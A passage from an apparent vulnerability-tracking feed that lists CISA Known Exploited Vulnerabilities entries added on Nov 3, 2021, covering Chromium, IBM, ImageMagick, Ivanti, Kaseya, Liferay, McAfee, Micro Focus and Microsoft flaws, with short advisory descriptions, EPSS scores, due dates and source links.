CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-37975
Google Chromium V8 Use-After-Free Vulnerability (Nov 3, 2021).
Google Chromium V8 Engine contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 34.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-37975&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-37975: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-37975&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2020-6418
Google Chromium V8 Type Confusion Vulnerability (Nov 3, 2021).
Google Chromium V8 Engine contains a type confusion vulnerability allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 78.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-6418&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-6418: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-6418&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium WebGL Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-30554
Google Chromium WebGL Use-After-Free Vulnerability (Nov 3, 2021).
Google Chromium WebGL contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 7.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30554&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30554: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30554&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Blink Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-21206
Google Chromium Blink Use-After-Free Vulnerability (Nov 3, 2021).
Google Chromium Blink contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 9.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21206&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21206: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21206&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Intents Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2021-38000
Google Chromium Intents Improper Input Validation Vulnerability (Nov 3, 2021).
Google Chromium Intents contains an improper input validation vulnerability that allows a remote attacker to arbitrarily browser to a malicious URL via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38000&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-38000: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38000&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2021-38003
Google Chromium V8 Memory Corruption Vulnerability (Nov 3, 2021).
Google Chromium V8 Engine has a bug in JSON.stringify, where the internal TheHole value can leak to script code, causing memory corruption. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 38.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38003&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-38003: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38003&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2021-21224
Google Chromium V8 Type Confusion Vulnerability (Nov 3, 2021).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 84.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21224&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21224: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21224&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Blink Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-21193
Google Chromium Blink Use-After-Free Vulnerability (Nov 3, 2021).
Google Chromium Blink contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 10.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21193&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21193&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2021-21220
Google Chromium V8 Improper Input Validation Vulnerability (Nov 3, 2021).
Google Chromium V8 Engine contains an improper input validation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 70.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21220&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21220: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21220&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2021-30563
Google Chromium V8 Type Confusion Vulnerability (Nov 3, 2021).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 9.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30563&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30563: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30563&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### IBM Data Risk Manager Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2020-4430
IBM Data Risk Manager Directory Traversal Vulnerability (Nov 3, 2021).
IBM Data Risk Manager contains a directory traversal vulnerability that could allow a remote authenticated attacker to traverse directories and send a specially crafted URL request to download arbitrary files from the system.
EPSS 68.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-4430&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-4430: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-4430&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### IBM Data Risk Manager Security Bypass Vulnerability
https://kevwire.com/record/CVE-2020-4427
IBM Data Risk Manager Security Bypass Vulnerability (Nov 3, 2021).
IBM Data Risk Manager contains a security bypass vulnerability that could allow a remote attacker to bypass security restrictions when configured with SAML authentication. By sending a specially crafted HTTP request, an attacker could exploit this vulnerability to bypass the authentication process and gain full administrative access to the system.
EPSS 70.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-4427&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-4427: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-4427&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### IBM Data Risk Manager Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-4428
IBM Data Risk Manager Remote Code Execution Vulnerability (Nov 3, 2021).
IBM Data Risk Manager contains an unspecified vulnerability which could allow a remote, authenticated attacker to execute commands on the system.�
EPSS 61.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-4428&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-4428: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-4428&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### IBM Planning Analytics Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-4716
IBM Planning Analytics Remote Code Execution Vulnerability (Nov 3, 2021).
IBM Planning Analytics is vulnerable to a configuration overwrite that allows an unauthenticated user to login as "admin", and then execute code as root or SYSTEM via TM1 scripting.
EPSS 86.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-4716&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-4716: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-4716&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ImageMagick Arbitrary File Deletion Vulnerability
https://kevwire.com/record/CVE-2016-3715
ImageMagick Arbitrary File Deletion Vulnerability (Nov 3, 2021).
ImageMagick contains an unspecified vulnerability that could allow users to delete files by using ImageMagick's 'ephemeral' pseudo protocol, which deletes files after reading.
EPSS 75.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3715&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3715: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3715&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ImageMagick Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2016-3718
ImageMagick Server-Side Request Forgery (SSRF) Vulnerability (Nov 3, 2021).
ImageMagick contains an unspecified vulnerability that allows attackers to perform server-side request forgery (SSRF) via a crafted image.
EPSS 75.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3718&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3718: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3718&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti MobileIron Multiple Products Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-15505
Ivanti MobileIron Multiple Products Remote Code Execution Vulnerability (Nov 3, 2021).
Ivanti MobileIron's Core & Connector, Sentry, and Monitor and Reporting Database (RDB) products contain an unspecified vulnerability that allows for remote code execution.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-15505&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-15505: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-15505&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kaseya Virtual System/Server Administrator (VSA) Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2021-30116
Kaseya Virtual System/Server Administrator (VSA) Information Disclosure Vulnerability (Nov 3, 2021).
Kaseya Virtual System/Server Administrator (VSA) contains an information disclosure vulnerability allowing an attacker to obtain the sessionId that can be used to execute further attacks against the system.
EPSS 85.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30116&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30116: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30116&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Liferay Portal Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2020-7961
Liferay Portal Deserialization of Untrusted Data Vulnerability (Nov 3, 2021).
Liferay Portal contains a deserialization of untrusted data vulnerability that allows remote attackers to execute code via JSON web services.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-7961&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-7961: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-7961&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### McAfee Total Protection (MTP) Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2021-23874
McAfee Total Protection (MTP) Improper Privilege Management Vulnerability (Nov 3, 2021).
McAfee Total Protection (MTP) contains an improper privilege management vulnerability that allows a local user to gain elevated privileges and execute code, bypassing MTP self-defense.
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-23874&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-23874: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-23874&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Micro Focus Access Manager Information Leakage Vulnerability
https://kevwire.com/record/CVE-2021-22506
Micro Focus Access Manager Information Leakage Vulnerability (Nov 3, 2021).
Micro Focus Access Manager contains an information leakage vulnerability resulting from a SAML service provider redirection issue when the Assertion Consumer Service URL is used.
EPSS 25.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22506&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22506: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22506&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Micro Focus Operation Bridge Report (OBR) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-22502
Micro Focus Operation Bridge Report (OBR) Remote Code Execution Vulnerability (Nov 3, 2021).
Micro Focus Operation Bridge Report (OBR) contains an unspecified vulnerability that allows for remote code execution.
EPSS 96.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22502&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22502: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22502&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Group Policy Preferences Password Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2014-1812
Microsoft Windows Group Policy Preferences Password Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows Active Directory contains a privilege escalation vulnerability due to the way it distributes passwords that are configured using Group Policy preferences. An authenticated attacker who successfully exploits the vulnerability could decrypt the passwords and use them to elevate privileges on the domain.
EPSS 65.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-1812&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-1812: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-1812&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Open Management Infrastructure (OMI) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-38647
Microsoft Open Management Infrastructure (OMI) Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing remote code execution.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38647&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-38647: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38647&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2016-0167
Microsoft Win32k Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation via a crafted application
EPSS 5.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0167&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0167: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0167&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Edge and Internet Explorer Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2020-0878
Microsoft Edge and Internet Explorer Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Edge and Internet Explorer contain a memory corruption vulnerability that allows attackers to execute code in the context of the current user.
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0878&date=2026-10-25).
Sources:
